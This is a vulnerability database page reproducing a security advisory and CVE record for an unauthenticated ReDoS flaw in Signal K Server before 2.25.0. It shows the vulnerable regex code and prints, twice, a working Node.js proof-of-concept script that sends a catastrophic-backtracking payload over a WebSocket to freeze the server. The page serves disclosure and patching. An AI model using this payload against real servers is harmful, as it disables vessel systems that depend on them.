Vulnerability-Lookup

GHSA-7GCJ-PHFF-2884

Vulnerability from github – Published: 2026-04-21 17:17 – Updated: 2026-04-21 17:17

Summary

Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths

Details

Summary

The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

Description

The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., *) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape . and * characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

Affected Code Blocks & Files

File: signalk-server/src/subscriptionmanager.ts

Affected lines for Context subscriptions (282-300):

function contextMatcher(...) {
  if (subscribeCommand.context) {
    if (isString(subscribeCommand.context)) {
      const pattern = subscribeCommand.context
        .replace(/\./g, '\\.')
        .replace(/\*/g, '.*')
      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
      return (normalizedDeltaData: WithContext) =>
        matcher.test(normalizedDeltaData.context) ||

Affected lines for Path subscriptions (276-280):

function pathMatcher(path: string = '*') {
  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
  return (aPath: string) => matcher.test(aPath)
}

Proof of Concept (PoC) Steps

const WebSocket = require('ws');
const http = require('http');

const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);

let requestCount = 0;

// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
    const startTime = Date.now();
    requestCount++;
    const reqId = requestCount;

    const req = http.get(HTTP_URL, (res) => {
        let size = 0;
        res.on('data', chunk => { size += chunk.length; });
        res.on('end', () => {
             const latency = Date.now() - startTime;
             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
        });
    });

    req.on('error', (err) => {
        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
    });

    // Timeout if the event loop is blocked
    req.setTimeout(2000, () => {
        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
        req.destroy();
    });
}

// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
    console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
    const ws = new WebSocket(WS_URL);

    ws.on('open', () => {
        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');

        // This regex exploits the unescaped Regex metacharacters in context matcher.
        // It forms: `^vessels\.([a-z0-9:-]+)+!$`
        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), 
        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations 
        // because it fails to find the '!' at the end. This reliably freezes V8.
        const pocPayload = {
            context: "vessels.([a-z0-9:-]+)+!",
            announceNewPaths: true,
            subscribe: [{ path: "*" }]
        };

        ws.send(JSON.stringify(pocPayload));
        console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
    });

    ws.on('error', (err) => {
        console.error(`[-] WebSocket Error: ${err.message}`);
    });

}, 3500);

// Automatically shut down the test after 15 seconds
setTimeout(() => {
    console.log(`\n[+] Test complete. Stopping pollers.`);
    clearInterval(pollInterval);
    process.exit(0);
}, 15000);

Screenshot 2026-03-29 101918

Impact

This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.

Screenshot 2026-03-29 101820

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T17:17:00Z",
    "nvd_published_at": "2026-04-21T01:16:05Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.\n\n## Description\nThe vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.\n\nWhile the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters\u2014such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.\n\n## Affected Code Blocks \u0026 Files\n**File:** `signalk-server/src/subscriptionmanager.ts`\n\n**Affected lines for Context subscriptions (282-300):**\n```typescript\nfunction contextMatcher(...) {\n  if (subscribeCommand.context) {\n    if (isString(subscribeCommand.context)) {\n      const pattern = subscribeCommand.context\n        .replace(/\\./g, \u0027\\\\.\u0027)\n        .replace(/\\*/g, \u0027.*\u0027)\n      const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: User input compiled into regex directly\n      return (normalizedDeltaData: WithContext) =\u003e\n        matcher.test(normalizedDeltaData.context) ||\n```\n\n**Affected lines for Path subscriptions (276-280):**\n```typescript\nfunction pathMatcher(path: string = \u0027*\u0027) {\n  const pattern = path.replace(/\\./g, \u0027\\\\.\u0027).replace(/\\*/g, \u0027.*\u0027)\n  const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: Same issue here\n  return (aPath: string) =\u003e matcher.test(aPath)\n}\n```\n\n## Proof of Concept (PoC) Steps\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst http = require(\u0027http\u0027);\n\nconst HOST = \u0027localhost\u0027;\nconst PORT = 3000;\nconst WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;\n// Use the API endpoint to measure real server processing lag (requires JSON serialization)\nconst HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;\n\nconsole.log(`[+] Target Server API: ${HTTP_URL}`);\nconsole.log(`[+] Target WebSocket: ${WS_URL}`);\n\nlet requestCount = 0;\n\n// Polling function to check server responsiveness and compute delay\nfunction checkServerStatus() {\n    const startTime = Date.now();\n    requestCount++;\n    const reqId = requestCount;\n    \n    const req = http.get(HTTP_URL, (res) =\u003e {\n        let size = 0;\n        res.on(\u0027data\u0027, chunk =\u003e { size += chunk.length; });\n        res.on(\u0027end\u0027, () =\u003e {\n             const latency = Date.now() - startTime;\n             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);\n        });\n    });\n\n    req.on(\u0027error\u0027, (err) =\u003e {\n        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);\n    });\n\n    // Timeout if the event loop is blocked\n    req.setTimeout(2000, () =\u003e {\n        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);\n        req.destroy();\n    });\n}\n\n// Start polling every 1 second\nconsole.log(\u0027[+] Starting baseline HTTP polling...\u0027);\nconst pollInterval = setInterval(checkServerStatus, 1000);\n\n// Wait a few seconds to establish a baseline, then launch the ReDoS\nsetTimeout(() =\u003e {\n    console.log(`\\n[!] Initiating WebSocket connection to launch ReDoS attack...`);\n    const ws = new WebSocket(WS_URL);\n\n    ws.on(\u0027open\u0027, () =\u003e {\n        console.log(\u0027[+] WebSocket Connected! Sending catastrophic ReDoS payload...\u0027);\n        \n        // This regex exploits the unescaped Regex metacharacters in context matcher.\n        // It forms: `^vessels\\.([a-z0-9:-]+)+!$`\n        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), \n        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations \n        // because it fails to find the \u0027!\u0027 at the end. This reliably freezes V8.\n        const pocPayload = {\n            context: \"vessels.([a-z0-9:-]+)+!\",\n            announceNewPaths: true,\n            subscribe: [{ path: \"*\" }]\n        };\n\n        ws.send(JSON.stringify(pocPayload));\n        console.log(\u0027[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\\n\u0027);\n    });\n\n    ws.on(\u0027error\u0027, (err) =\u003e {\n        console.error(`[-] WebSocket Error: ${err.message}`);\n    });\n\n}, 3500);\n\n// Automatically shut down the test after 15 seconds\nsetTimeout(() =\u003e {\n    console.log(`\\n[+] Test complete. Stopping pollers.`);\n    clearInterval(pollInterval);\n    process.exit(0);\n}, 15000);\n```\n\u003cimg width=\"1003\" height=\"524\" alt=\"Screenshot 2026-03-29 101918\" src=\"https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039\" /\u003e\n\n## Impact\n\nThis vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. \n\n\u003cimg width=\"999\" height=\"153\" alt=\"Screenshot 2026-03-29 101820\" src=\"https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0\" /\u003e",
  "id": "GHSA-7gcj-phff-2884",
  "modified": "2026-04-21T17:17:00Z",
  "published": "2026-04-21T17:17:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39320"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/pull/2568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
}

CVE-2026-39320 (GCVE-0-2026-39320)

Vulnerability from cvelistv5 – Published: 2026-04-21 00:07 – Updated: 2026-04-21 19:36

Title

Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths

Summary

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M

References

URL

Tags

	https://github.com/SignalK/signalk-server/securit…	x_refsource_CONFIRM
	https://github.com/SignalK/signalk-server/pull/2568	x_refsource_MISC
	https://github.com/SignalK/signalk-server/commit/…	x_refsource_MISC
	https://github.com/SignalK/signalk-server/release…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	SignalK	signalk-server	Affected: < 2.25.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-39320",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-21T19:36:30.279521Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-21T19:36:54.787Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "signalk-server",
          "vendor": "SignalK",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.25.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
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          "descriptions": [
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              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333: Inefficient Regular Expression Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-21T00:07:10.371Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884",
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          "tags": [
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          "url": "https://github.com/SignalK/signalk-server/pull/2568"
        },
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          "name": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d",
          "tags": [
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
        }
      ],
      "source": {
        "advisory": "GHSA-7gcj-phff-2884",
        "discovery": "UNKNOWN"
      },
      "title": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-39320",
    "datePublished": "2026-04-21T00:07:10.371Z",
    "dateReserved": "2026-04-06T19:31:07.266Z",
    "dateUpdated": "2026-04-21T19:36:54.787Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-7GCJ-PHFF-2884

Summary

Description

Affected Code Blocks & Files

Proof of Concept (PoC) Steps

Impact

CVE-2026-39320 (GCVE-0-2026-39320)

Tags

Sightings

Nomenclature